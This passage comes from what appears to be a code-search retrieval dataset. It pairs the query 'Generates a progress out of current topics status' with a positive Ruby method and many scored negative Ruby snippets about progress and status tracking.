"docid": "2c04afea1beb13390bf95fb7566bacb7",
"score": "0.6330354",
"text": "def bought_by?(user)\n order && order.bought_by?(user)\n end",
"title": ""
},
{
"docid": "1fd3022f1e8175c9410e8d47f32f5251",
"score": "0.63284683",
"text": "def booked?\n !!booking.try(:booked?)\n end",
"title": ""
},
{
"docid": "1fd3022f1e8175c9410e8d47f32f5251",
"score": "0.63284683",
"text": "def booked?\n !!booking.try(:booked?)\n end",
"title": ""
}
] |
b0fbcf134bfb5ae369dfa9baeef9b236
|
Generates a progress out of current topics status
|
[
{
"docid": "17e58746f31171c5ab0a623eeb3499fe",
"score": "0.55464435",
"text": "def progress\n return 100 if topics.count < 1\n return 0 if topics.count > 0 and cards.count < 1\n\n alignments = topics.where.not(:aligned_card_id => nil).count\n\n ( (alignments.to_f / topics.count) * 100 ).to_i\n end",
"title": ""
}
] |
[
{
"docid": "c6e665114742afc008e4fd15019a0a9b",
"score": "0.63040155",
"text": "def progress(status)\n end",
"title": ""
},
{
"docid": "da0f8f93f26d3d5723610a6dafd31b12",
"score": "0.59560853",
"text": "def progress!\n update!(status: 'In Progress')\n end",
"title": ""
},
{
"docid": "d5c12c3b719a4b28763c0c980cf682f1",
"score": "0.59170026",
"text": "def print_progress_bar_finish\n puts(NL) unless amount_mutation_results.zero?\n end",
"title": ""
},
{
"docid": "44fd0ce56511e02eb6c6d20e901458c6",
"score": "0.5900154",
"text": "def in_progress\n 'inProgress'\n end",
"title": ""
},
{
"docid": "5130af6bbfd9604ed99b7f6055574d16",
"score": "0.5885692",
"text": "def print_progress_bar_finish\n puts unless amount_mutations.zero?\n end",
"title": ""
},
{
"docid": "ae496628c5d1fe729b3c8f7fd625f325",
"score": "0.5842141",
"text": "def print_progress_bar_finish\n puts unless amount_mutations.zero?\n end",
"title": ""
},
{
"docid": "91e8f1207bef4ea6db6426aa17b87f69",
"score": "0.5743651",
"text": "def skip_update_topic_status\n false\n end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "f1835ae177eabd8949837f1156bfb498",
"score": "0.5733082",
"text": "def progress; end",
"title": ""
},
{
"docid": "e389198c8d19f811b2a99d6d37366263",
"score": "0.5638515",
"text": "def print_status\n # check to see if the task is done\n if @done == true\n # print 'title is complete'\n print @title.to_s + ' is complete'\n # returns 'title is complete'\n @title.to_s + ' is complete'\n else\n # print 'title is in progress'\n print @title.to_s + ' is in progress'\n # returns 'title is in progress'\n @title.to_s + ' is in progress'\n end\n end",
"title": ""
},
{
"docid": "a51ea2fc4a64c311678a3e6ae9b2df52",
"score": "0.56215096",
"text": "def clear_progress; end",
"title": ""
},
{
"docid": "895dd13de3f5faada3882a3894f68d65",
"score": "0.5586439",
"text": "def clear_progress\n self.status nil\n end",
"title": ""
},
{
"docid": "86d46add4a0ab5fe59089681791a4982",
"score": "0.55823827",
"text": "def progress( topicId, state )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( topicId )\n #BIMserverAPI::TypeCheck::SLongActionState( state )\n\n # BIMserver request\n request( { topicId: topicId, state: state } )\n end",
"title": ""
},
{
"docid": "90578eec8671abc4f3e3048c753056d6",
"score": "0.5571528",
"text": "def display_progress\n return 100 if source.successful? || source.progress > 100\n return 8 if source.progress > 0 and source.progress < 8\n source.progress\n end",
"title": ""
},
{
"docid": "90578eec8671abc4f3e3048c753056d6",
"score": "0.5571528",
"text": "def display_progress\n return 100 if source.successful? || source.progress > 100\n return 8 if source.progress > 0 and source.progress < 8\n source.progress\n end",
"title": ""
},
{
"docid": "4aaa881f488b1d89a6493f6eaf260ff3",
"score": "0.55549294",
"text": "def getProgress( topicId )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( topicId )\n\n # BIMserver request\n request( { topicId: topicId } )\n end",
"title": ""
},
{
"docid": "be48136e61e8bd2f51961d47f43fac32",
"score": "0.55500835",
"text": "def progress\n Tasks.progress\n end",
"title": ""
},
{
"docid": "a2e2d7feac39eae3ddf2e3e06c0fb6d3",
"score": "0.55178213",
"text": "def newProgressTopic( topicId )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( topicId )\n\n # BIMserver request\n request( { topicId: topicId } )\n end",
"title": ""
},
{
"docid": "16be5a5442b6360b9103fcb4ba90e685",
"score": "0.5507681",
"text": "def stop_progress!\n accumulate_worked_time\n self.status = STATUSES.key(:open)\n self.save!\n end",
"title": ""
},
{
"docid": "d56b19ff3d58fa1a4bc43db4df7babe1",
"score": "0.55047274",
"text": "def complete_progress\n stopped = Time.now\n duration = TimeDifference.between(@started, stopped).in_seconds\n if duration == 0\n average = @progress\n else\n average = (@progress.to_f / duration.to_f).round\n end\n\n $stderr.puts \"Read #{@progress} lines in #{duration} seconds (#{average} lines/s)\"\n $stderr.puts \"#{@anonymised_emails.count} unique e-mails replaced\"\n end",
"title": ""
},
{
"docid": "471a3123b4409057dfc639888c790cda",
"score": "0.55022997",
"text": "def build_progress_bar(total)\n if total && total.to_i > 0\n @download_progress_bar = ProgressBar.create title: \"Downloading elasticsearch #{version}\", total: total,\n format: '%t |%bᗧ%i| %p%% (%r KB/sec) %e', progress_mark: ' ', remainder_mark: '・',\n rate_scale: ->(rate) { rate / 1024 }, smoothing: 0.7\n end\n end",
"title": ""
},
{
"docid": "289a83dc7bc2603708853a5227c05e37",
"score": "0.5488629",
"text": "def cleanup_progress_hash(req_uuid)\n Thin::Server::progress.delete(req_uuid) if Thin::Server::progress[req_uuid] == 100 && finished?#delete when progress is returned and 100%\n end",
"title": ""
},
{
"docid": "6bb008f0e47679167a8a719ea52f9eb6",
"score": "0.5488048",
"text": "def twitter_converter\n\n dao = DAO.new 'twitter'\n z = 0\n while true\n\n Logging::logger.info \"TWEETS: #{z}\"\n\n status = dao.get_status\n\n while status != nil\n \n puts 'Status retrieved'\n tc = TwitterConverter.new\n usmf = tc.to_usmf status\n json = usmf.to_hash.to_json\n \n if json != 'null'\n dao.publish json\n puts 'Published'\n z = z + 1\n end\n \n status = dao.get_status\n\n end\n\n\n puts 'All the statuses were been sent'\n sleep 2\n\n end\n\n end",
"title": ""
},
{
"docid": "76e4b746dc701bc9aa01517405bbf968",
"score": "0.5478263",
"text": "def add_progress(val)\n # PrivatePub.publish_to \"/scenarios/#{self.scenario.id}\", cloud_progress: val\n end",
"title": ""
},
{
"docid": "6bfb7b0c4d8d1e6b862d169382b7c968",
"score": "0.54739815",
"text": "def in_progress\n\t\tself.info_progress[0] > 0 && self.info_progress[0] < 100\n\tend",
"title": ""
},
{
"docid": "6bfb7b0c4d8d1e6b862d169382b7c968",
"score": "0.54739815",
"text": "def in_progress\n\t\tself.info_progress[0] > 0 && self.info_progress[0] < 100\n\tend",
"title": ""
},
{
"docid": "7ef11cbd336f5b12798e533d02072b7f",
"score": "0.5460095",
"text": "def status\n @status = 'done'\n end",
"title": ""
},
{
"docid": "a80dff9bfddf3f2482f8a40798a9e1c8",
"score": "0.543715",
"text": "def show_in_progress_tasks\n # select items from the @contents array that are not completed\n @contents.select { |x| x.done? == false }\n end",
"title": ""
},
{
"docid": "ee4674cb3c01be410a8daccc5404df4b",
"score": "0.5424894",
"text": "def status\n str = \n case progress\n when :waiting\n \"No current run, waiting for run request.\"\n when :failed\n \"Run failed.\"\n when :aborted\n \"Run aborted.\"\n when :stopped\n \"Run stopped.\"\n when :finished\n \"Finished run ##{batch_index} of batch.\"\n when 0...1\n \"Working on run ##{batch_index} of batch.\"\n end\n log.info \"Collecting status: #{str}\"\n str\n end",
"title": ""
},
{
"docid": "7c32d340873f2750bc1adf0f21d19c07",
"score": "0.541879",
"text": "def change_status\n next_status = get_next_status(params[:next_status])\n next_length = Story.get_stories_by_group_id(session[:current_group].id)[params[:next_status].to_sym].length\n # log = Log.new_message \"#{story.title} be to #{params[:status]} by #{current_user.email}\"\n # PrivatePub.publish_to(get_channel_path, message: log)\n story = Story.set_story_status(params[:story_id],params[:next_status],next_status)\n next_length != 0 ? respond_to_html(:_every_story_in_table,{story: story})\n : respond_to_html(:_stories_in_status,{resource: [story],type: params[:next_status]})\n end",
"title": ""
},
{
"docid": "4e72e563afb0e01c54beda1355785f64",
"score": "0.5411936",
"text": "def progress(message)\n end",
"title": ""
},
{
"docid": "e9b58bf21054cc4edfa80323c816e198",
"score": "0.5411001",
"text": "def progress_mark; end",
"title": ""
},
{
"docid": "c498447ed53078edd79cb6e07fa7ccca",
"score": "0.5410441",
"text": "def unregisterProgressTopic( topicId )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( topicId )\n\n # BIMserver request\n request( { topicId: topicId } )\n end",
"title": ""
},
{
"docid": "7239f4d6e707ee07ae2e237e74845e69",
"score": "0.5408998",
"text": "def generate_indeterminate_progress_bar\n secondary_tint = new_color($properties['secondaryTintColor'] || DEFAULT_SECONDARY_TINT_COLOR)\n imgs = ImageList.new(\"#{$master_dir}/progress-bar-indeterminate.gif\")\n\n imgs.each do |img|\n img.tint! secondary_tint, 100\n end\n\n imgs.write 'images/progress-bar-indeterminate.gif'\nend",
"title": ""
},
{
"docid": "2be0054cb2b777d2f03ecfb5badb4570",
"score": "0.5398802",
"text": "def get_progress_statuses\n @progress_statuses = {}\n \n unless @student.pipeline_orientation_valid?\n unless @rsvp_event_times.empty?\n if @student_rsvp.nil?\n @progress_statuses[:orientation] = {\n :text => \"You have not attended an orientation. Before you can participate as a volunteer for the Pipeline Project,\n you must RSVP for and attend an orientation.\",\n :css_class => \"action required\",\n :button => :signup\n }\n elsif @student_rsvp.checkin_time.nil?\n @progress_statuses[:orientation] = {\n :text => \"You're scheduled to attend an orientation on #{@student_rsvp.event_time.start_time.to_s(:date_at_time12)}.\n Please arrive on time, as late attendees will be asked to attend another orientation.\",\n :css_class => \"in progress\",\n :button => :change\n }\n else\n @progress_statuses[:orientation] = {\n :text => \"Your might be due an orientation! You attended an orientation on #{@student.pipeline_orientation.to_s(:date_with_day_of_week) rescue nil }.\n Students are required to attend an orientation every 2 years for Pipeline project.\",\n :css_class => \"action required\",\n :button => :signup \n } \n end\n else\n @progress_statuses[:orientation] = {\n :text => \"You need to attend an orientation, but there are no orientations at this time.\",\n :css_class => \"action required\", \n :button => false\n }\n end\n else\n @progress_statuses[:orientation] = {\n :text => \"You attended an orientation on #{@student.pipeline_orientation.to_s(:date_with_day_of_week) rescue nil }.\",\n :css_class => \"success\",\n :button => false\n }\n end\n\n if @student.show_pipeline_position_contact?\n @progress_statuses[:background_check] = {\n :text => \"Background check cleared on #{@student.pipeline_background_check.to_s(:date_with_day_of_week) rescue nil}.\",\n :css_class => \"success\",\n :button => false\n }\n elsif @student.pipeline_orientation_valid?\n @progress_statuses[:background_check] = {\n :text => \"Your background check is pending. As soon as it is complete, you'll be able to participate fully as a\n Pipeline Project tutor.\",\n :css_class => \"in progress\",\n :button => false\n }\n else\n @progress_statuses[:background_check] = {\n :text => \"Please <strong>print</strong> your background check form and bring the completed form to your orientation.\",\n :css_class => \"action required\",\n :button => true\n }\n end\n\n if @service_learning_course.nil?\n @progress_statuses[:search] = {\n :text => \"Searching is open for volunteers. You should identify your top three favorite schools that \n work with your schedule and interests.\",\n :css_class => \"success\",\n :button => true\n }\n else\n if @service_learning_course.finalized\n @progress_statuses[:search] = {\n :text => \"Searching is open for <span class='highlight'>#{@service_learning_course.title}</span>. You should identify your top three\n favorite schools that work with your schedule and interests.\",\n :css_class => \"success\",\n :button => true\n }\n else\n @progress_statuses[:search] = {\n :text => \"Searching is not open for #{@service_learning_course.title}.\",\n :css_class => \"light\",\n :button => false\n }\n end\n end\n\n if @quarter != @current_quarter\n @progress_statuses[:position] = {\n :text => \"You can not confirm positions for #{@quarter.title}.\",\n :css_class => \"light\"\n }\n elsif !@student.show_pipeline_position_contact?\n @progress_statuses[:position] = {\n :text => \"You have not yet completed the steps above.\",\n :css_class => \"light\"\n }\n elsif !@service_learning_course.nil? && @service_learning_course.registration_open_time.nil?\n @progress_statuses[:position] = {\n :text => \"Your course is not allowing confirmations at this time.\",\n :css_class => \"light\"\n }\n elsif !@confirmed_positions.empty?\n @progress_statuses[:position] = {\n :text => \"You are currently confirmed in the following positions:\",\n :css_class => \"success\"\n }\n else\n @progress_statuses[:position] = {\n :text => \"Please confirm the final position that you selected and are currently volunteering at.\",\n :css_class => \"action required\"\n }\n end\n\n end",
"title": ""
},
{
"docid": "99ec8e22dfd3e94797be6c8099a37a36",
"score": "0.5397817",
"text": "def complete_progress\n # Just clear the line back out\n print \"#{cl_reset}\"\n end",
"title": ""
},
{
"docid": "2fdf56197f20623f581aee37550165fd",
"score": "0.53753716",
"text": "def updateProgressTopic( topicId, state )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( topicId )\n #BIMserverAPI::TypeCheck::SLongActionState( state )\n\n # BIMserver request\n request( { topicId: topicId, state: state } )\n end",
"title": ""
},
{
"docid": "d84457b7dc7465eafbad008d08fa0bed",
"score": "0.53484297",
"text": "def send_to_status_page\n time, count = remove_oldest_count_from_stats\n notify(:send, [Process.pid, time, count]) if time\n end",
"title": ""
},
{
"docid": "a9030bba36d323b764d7e8eeccd3be4b",
"score": "0.5347627",
"text": "def tag_as_completed\n self.in_progress = []\n end",
"title": ""
},
{
"docid": "e212d608739d4b8aa50e66a262dd090b",
"score": "0.5343835",
"text": "def displayStatus()\n @counter=1\n puts \"\\n\\n\\n\"\n puts \" **** Tasks **** \"\n puts \"__________________________________________________________________________\\n\\n\"\n @Tasks.each do | task |\n printf \"%d - %-50s %s\",@counter,task[:Task],task[:status]\n puts \"\\n\"\n @counter=@counter+1\n end\n puts \"\\n\\n__________________________________________________________________________\\n\"\nend",
"title": ""
},
{
"docid": "2b0c3a90b9b9d1a191ab0697f39533cc",
"score": "0.53366566",
"text": "def progress_update\n @word_progress.join(' ')\n end",
"title": ""
},
{
"docid": "1efdb7710515390836ba396f0f0eff9b",
"score": "0.5331228",
"text": "def status_message\n ret = ''\n\n if task.progress\n ret << \"#{(task.progress * 100).to_i}%\"\n ret << ': ' if task.progress_message.present?\n end\n ret << task.progress_message if task.progress_message.present?\n\n ret\n end",
"title": ""
},
{
"docid": "450c172466ea59af4fadd421d492d967",
"score": "0.5326305",
"text": "def done\n @data[:progress] >= @data[:questions].length\n end",
"title": ""
},
{
"docid": "0c31e5da5465578e88a58a60d428ec32",
"score": "0.53261983",
"text": "def sucessful\n @counter_sync.synchronize(:SH) { @sucessful }\n end",
"title": ""
},
{
"docid": "fedbeffb4d0e3476bde11e9b580986bc",
"score": "0.5324758",
"text": "def normalization_progress(node)\n if node['progress']\n node['progress'] = 100 if node['progress'] > 100 ||\n ['ready', 'error'].include?(node['status'])\n node['progress'] = 0 if node['progress'] < 0\n else\n node['progress'] = 100 if final_status?(node['status'])\n end\n end",
"title": ""
},
{
"docid": "419fae52e3adb231baf67f3e804e2519",
"score": "0.5323848",
"text": "def progress; @progress; end",
"title": ""
},
{
"docid": "419fae52e3adb231baf67f3e804e2519",
"score": "0.5323848",
"text": "def progress; @progress; end",
"title": ""
},
{
"docid": "0330eb447d578b0ca58180cea223d88b",
"score": "0.53125054",
"text": "def progress\n @progress\n end",
"title": ""
},
{
"docid": "ad9cffda2c402b0e76dfca605cb9031a",
"score": "0.5312447",
"text": "def newProgressOnProjectTopic( poid, topicId )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( poid )\n #BIMserverAPI::TypeCheck::Long( topicId )\n\n # BIMserver request\n request( { poid: poid, topicId: topicId } )\n end",
"title": ""
},
{
"docid": "0c1665526b91b00d27d71e0dcde5dd78",
"score": "0.5301922",
"text": "def display_progress\n disp = \"\" + \"#{settings.difficulty} characters: \"\n settings.state.each_with_index do |item, index|\n if item == false\n disp += \"__ \"\n else\n disp += \"#{settings.word[index]} \"\n end\n end\n return disp\nend",
"title": ""
},
{
"docid": "d500c93a64f14d22fd5ab2077a63aa63",
"score": "0.5280129",
"text": "def show\n @v = 0\n @n = 0\n @target.tasks.each do |g|\n @count = 0\n\n @w = 0\n \n y = g.updated_at.to_date\n c = Date.today\n if(@r = ((c-y).to_i >=3))\n @count =+1\n end\n if g.progress.between?(0,24)\n @v = @v+1 \n end\n if g.progress.between?(75,100)\n @n = @n+1\n end\n\n \n end\n @g = (@target.tasks.count)*100\n @j = @target.tasks.sum(:progress)\n @x = @g - @j\n\n\n\n\n\n end",
"title": ""
},
{
"docid": "c890bf8fbab54f65696d1f47bc787ce3",
"score": "0.52793336",
"text": "def progress_check(count)\n @@progress += count\n @@dialog.setMainProgress(@@progress)\n @@dialog.logMessage(\"Exported #{@@progress} of #{@total} items\")\n @@progress == @total\n end",
"title": ""
},
{
"docid": "0909a9b5a37373564c33a70ae9bc6a8e",
"score": "0.5277896",
"text": "def progressable; end",
"title": ""
},
{
"docid": "14faf34ca670309da1f1ab675a443738",
"score": "0.5276405",
"text": "def forget_progress\n initialize_content\n end",
"title": ""
},
{
"docid": "14faf34ca670309da1f1ab675a443738",
"score": "0.5276405",
"text": "def forget_progress\n initialize_content\n end",
"title": ""
},
{
"docid": "b01e239a1a7ac7cd3a7d65be67b3c3bb",
"score": "0.5276002",
"text": "def status_message\n ret = ''\n\n if progress\n ret << \"#{(progress * 100).to_i}%\"\n ret << ': ' if progress_message.present?\n end\n ret << progress_message if progress_message.present?\n\n ret\n end",
"title": ""
},
{
"docid": "98e1b6bd01d8ec0100c5c87e697ff9d6",
"score": "0.5275824",
"text": "def done\n @status = true\n end",
"title": ""
},
{
"docid": "5760a0fa9a1307d27ed88f0badf6565f",
"score": "0.527472",
"text": "def print_unfinished_tasks\n \tputs @list_name\n \t@items.each do | item |\n \t\tif !item.completed?\n \t\t\tputs item.print_item\n \t\tend\n \tend\n \tputs \"\"\n end",
"title": ""
},
{
"docid": "5d1e95e11bf26c9e1dae1e0a54b01222",
"score": "0.52710515",
"text": "def completed_status\n \t@report_file.puts '*****************************'\n @items.each do |value|\n \t status = value.check_completed?\n \t if status\n \t \t@report_file.puts \"Item #{value.description} is completed\"\n \t end\n \tend\n \t@report_file.puts '*****************************'\n end",
"title": ""
},
{
"docid": "18ec449297415dc7990bc88da100bc0d",
"score": "0.52690893",
"text": "def progress(msg, nontty_log = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "9a9a73557f0cfbb7a47fa11d1dd1707e",
"score": "0.5268863",
"text": "def progress=(_arg0); end",
"title": ""
},
{
"docid": "9a9a73557f0cfbb7a47fa11d1dd1707e",
"score": "0.5268863",
"text": "def progress=(_arg0); end",
"title": ""
},
{
"docid": "9a9a73557f0cfbb7a47fa11d1dd1707e",
"score": "0.5268863",
"text": "def progress=(_arg0); end",
"title": ""
},
{
"docid": "9a9a73557f0cfbb7a47fa11d1dd1707e",
"score": "0.5268863",
"text": "def progress=(_arg0); end",
"title": ""
},
{
"docid": "c6f5d271090c4d23036de3bc83559af5",
"score": "0.5267118",
"text": "def update_status\n @status_msg = status_msg('Sending...')\n\n Thread.new do\n @@context[:twitter].post @up_text.text\n @status_msg.replace \"\"\n load_tweets\n end\n @up_text.text = \"\"\n end",
"title": ""
},
{
"docid": "9e87d1f513ddd2c6d9a2ffa6ab372753",
"score": "0.52634364",
"text": "def status\n\n workers = Sidekiq::Workers.new\n \tstats = Sidekiq::Stats.new\n \n \tif stats.enqueued == 0 and workers.size == 0\n\t\t render json: { message: \"No key rotation queued or in progress\"},\n\t status: :unprocessable_entity\n\n elsif stats.enqueued > 0\n render json: { message: \"Key rotation has been queued\"},\n status: :unprocessable_entity\n\n elsif stats.enqueued == 0 and workers.size > 0\n render json: { message: \"Key rotation is in progress\"},\n status: :unprocessable_entity\n \n end \n \n\n# \tcheck to see if job is running if yes send the message that already in progress\n\n\t# end\n\n end",
"title": ""
},
{
"docid": "25069e92870fda8c6de1462c7f1d1383",
"score": "0.5262104",
"text": "def print_bar\n return if configuration.quiet || configuration.debug || progress.file_count == 0\n total = 50\n completed = (progress.files_completed / progress.file_count.to_f * total).to_i\n print \"\\r[#{\"X\" * completed}#{\".\" * (total - completed)}] #{overview}\\r\"\n $stdout.flush\n end",
"title": ""
},
{
"docid": "5f3353476fd33a05466f0f6334c77a2f",
"score": "0.5260051",
"text": "def set_in_progress\n if self.status == \"Neu\"\n self.status = \"In Bearbeitung\"\n logger.info(\"Transitioning current claim from 'New' to 'In Progress'.\")\n end\n end",
"title": ""
},
{
"docid": "da81f894860d5ef716fac120232345d5",
"score": "0.5256601",
"text": "def status!\n return @status if @status.nil? || @status =~ /_DONE_/\n refresh_status\n @status\n end",
"title": ""
},
{
"docid": "0138b35c1b86218cbcc13158c80ffa34",
"score": "0.5255881",
"text": "def done\n @status = \"finished\"\n end",
"title": ""
},
{
"docid": "f615e011367303d8ce299cf262a585dd",
"score": "0.5252467",
"text": "def full_progression()\n progression_base(full_sounds)\n end",
"title": ""
},
{
"docid": "63655a7abb2a54459fa4c543c14c3b9c",
"score": "0.5251504",
"text": "def export_progress\n @@dialog.logMessage(\"Exported #{@@progress} of #{@items.size} items\")\n @@dialog.setSubProgress(@@progress)\n end",
"title": ""
},
{
"docid": "dc8f161ab13f773268d0a3a8f3de42b3",
"score": "0.5247258",
"text": "def show_topic_status\n \n @topic = Topic.find(params[:id])\n begin\n # Fetch topic related resources\n #@resource_array = Resource.find_all_by_topic_id @topic.id\n @resource_array_status = Resource.paginate(\n :conditions => \"topic_id = #{@topic.id} && type_id = 'status'\",\n :per_page => 10,\n :page => params[:page],\n :order => 'up_count DESC, created_at DESC, add_count DESC, down_count ASC'\n )\n rescue ActiveRecord::RecordNotFound\n nil\n end\n\n respond_to do |format|\n format.html {\n if request.xhr?\n render :partial => \"topic_resources_status\", :collection => @resource_array_status\n end\n }\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "743939d3c45f5e41f60c4b666b9bacaa",
"score": "0.52440166",
"text": "def tag_as_in_progress\n self.in_progress = 'true'\n end",
"title": ""
},
{
"docid": "536ae2de78df0fc2ef8cc44dddfa9f08",
"score": "0.5241646",
"text": "def getProgressTopicsOnProject( poid )\n\n # parameter TypeCheck\n #BIMserverAPI::TypeCheck::Long( poid )\n\n # BIMserver request\n request( { poid: poid } )\n end",
"title": ""
},
{
"docid": "b77446506e69571b4efb87e013fc7b3a",
"score": "0.5239507",
"text": "def progress\n\t\t@progress\n\tend",
"title": ""
},
{
"docid": "c5c85dc448413417edfcc4bcc99e9444",
"score": "0.52389044",
"text": "def toggle_status\r\n\t\t@status = !completed?\r\n\tend",
"title": ""
},
{
"docid": "faa09a01b5dd62067cd0160c1d53d30a",
"score": "0.5230548",
"text": "def present_progress\n if finished?\n \"Accomplished! (Fully implemented and marked as finished)\"\n else\n if steps.empty?\n \"Preliminary Design (Lacks steps)\"\n else\n if steps.all? {|step| step.completed?}\n \"Development or Pending Submission (Fully performed but not marked finished)\"\n else\n \"Development or Implementation (Contains at least one incomplete step)\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "234319ed513a27eecd1a0162387bf0fa",
"score": "0.5224582",
"text": "def display_progress\n return 100 if successful? || progress > 100\n return 8 if progress > 0 and progress < 8\n progress\n end",
"title": ""
},
{
"docid": "f2627b5a1e38f4335ce1e93b9e724e8b",
"score": "0.5216353",
"text": "def for_check_completion\n with_topic(Constants::CHECK_COMPLETION)\n end",
"title": ""
},
{
"docid": "1491b0927f1c026860fbbb8f689e1ce9",
"score": "0.52099943",
"text": "def build_progress\n self.build_ticket_progress if self.ticket_progress.blank?\n end",
"title": ""
},
{
"docid": "1491b0927f1c026860fbbb8f689e1ce9",
"score": "0.52099943",
"text": "def build_progress\n self.build_ticket_progress if self.ticket_progress.blank?\n end",
"title": ""
},
{
"docid": "3ea56483a2181a313bb2855c15e2e9c8",
"score": "0.5208339",
"text": "def current_status\n if self.done?\n self.failed? ? 'Error' : 'Completed'\n else\n 'Running'\n end\n end",
"title": ""
},
{
"docid": "aa475fd66b453a4dc089132ebc825fd8",
"score": "0.5206904",
"text": "def status\n return \"Finished\" if self.finished\n return \"Backlog\" if self.backlog\n self.wip? ? \"#{step_name} - In-Progress\" : \"#{step_name} - Queue\"\n end",
"title": ""
},
{
"docid": "2021eb79179d1c2b88f65f140ccf1e9a",
"score": "0.5200894",
"text": "def update_topic_pending_status\n return true if !current_course_user || skip_update_topic_status\n\n if current_course_user.teaching_staff?\n @post.topic.unmark_as_pending\n else\n @post.topic.mark_as_pending\n end\n end",
"title": ""
},
{
"docid": "40170069c6e6626a29fb0cc2bfb5e3b2",
"score": "0.5199714",
"text": "def example_progress_output(status)\n return unless @write_to_file\n\n @force_colors = RSpec.configuration.color_enabled?\n\n $stdout.print(colored_line(EXAMPLE_PROGRESS[status], status))\n\n @force_colors = false\n end",
"title": ""
},
{
"docid": "60ee77003743147bec7f85537ce6e02c",
"score": "0.51941496",
"text": "def forget_progress\n initialize_content\n end",
"title": ""
},
{
"docid": "60ee77003743147bec7f85537ce6e02c",
"score": "0.51941496",
"text": "def forget_progress\n initialize_content\n end",
"title": ""
},
{
"docid": "8a54dde3722d36d958d89e2556bfc858",
"score": "0.5190123",
"text": "def random_converter\n\n dao = DAO.new 'rpg'\n\n while true\n\n status = dao.get_status\n puts 'Status retrieved'\n\n while status != nil\n\n rc = RandomConverter.new\n usmf = rc.to_usmf status\n\n dao.publish usmf.to_hash.to_json\n puts 'Published'\n\n status = dao.get_status\n\n end\n\n puts 'All the statuses were been sent'\n sleep 2\n\n end\n\n end",
"title": ""
},
{
"docid": "0c37898b6bbda3060bddc424094bf145",
"score": "0.5185688",
"text": "def progress \n\t\tDelayed::Job.enqueue DailyCommitCount.new\n\t\trender :nothing => true\n\tend",
"title": ""
},
{
"docid": "24e9e82a2db6b3ad438cc02a9c3ff5a4",
"score": "0.5185032",
"text": "def toggle_status\r\n @completed_status = !completed?\r\n end",
"title": ""
},
{
"docid": "6ba03978ec041f2d9094bc729aba9f35",
"score": "0.5178191",
"text": "def completed\n\n end",
"title": ""
},
{
"docid": "48635286ce11bfdf4c3a1b956bd5549b",
"score": "0.5174534",
"text": "def publish_topic_trends\n\n\t@topics.each do |topic|\n\n\t\t# limit to only 7 if user trends\n\t\tlimit = 30 \n\t\t\n\t\tif topic.id == 1 \n\t\t\tlimit = 7\n\t\tend\n\n\t\tresults = Term.where(\"terms.topic_id = ? AND terms.hide = ? AND terms.processed = ?\", topic.id, false, true).joins(:mention).select(\"terms.name, terms.image_url, terms.source_name, count(*) as total\").group(\"terms.name, terms.image_url, terms.source_name\").order(\"total DESC\").limit(limit)\n\n\t\tif (results != instance_variable_get(\"@topic_results_data_\" + topic.id.to_s)) || ((instance_variable_get(\"@topic_results_pushed_\" + topic.id.to_s) + 20) < Time.now)\n\t\t\t\n\t\t\tif (results != instance_variable_get(\"@topic_results_data_\" + topic.id.to_s))\n\t\t\t\tp 'Results have changed for: ' + topic.name\n\t\t\tend\n\t\t\t\n\t\t\tPusher['topic-trends-' + topic.name.downcase].trigger('new-data', results.to_json)\n\n\t\t\tinstance_variable_set(\"@topic_results_data_\" + topic.id.to_s, results)\n\t\t\tinstance_variable_set(\"@topic_results_pushed_\" + topic.id.to_s, Time.now)\n\n\t\tend\t\t\n\n\tend\n\nend",
"title": ""
},
{
"docid": "2a445c0e8a73688fd47837ee85f797b0",
"score": "0.51694125",
"text": "def cure\n @status = 0\n @status_count = 0\n end",
"title": ""
},
{
"docid": "9c045e3d4a1bde51670b6b7605f44ea6",
"score": "0.5166467",
"text": "def update_status_task( i )\n if i > 0 then\n updated_status_task = @wf_transitions[ @wf_current_index ][ @wf_current_task ][ i - 1 ] \n @wf_updated_status = updated_status_task[ 0 ] unless updated_status_task[ 0 ] < 0\n @wf_updated_task = updated_status_task[ 1 ]\n else\n @wf_updated_status = @wf_current_status\n @wf_updated_task = @wf_current_task \n end\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.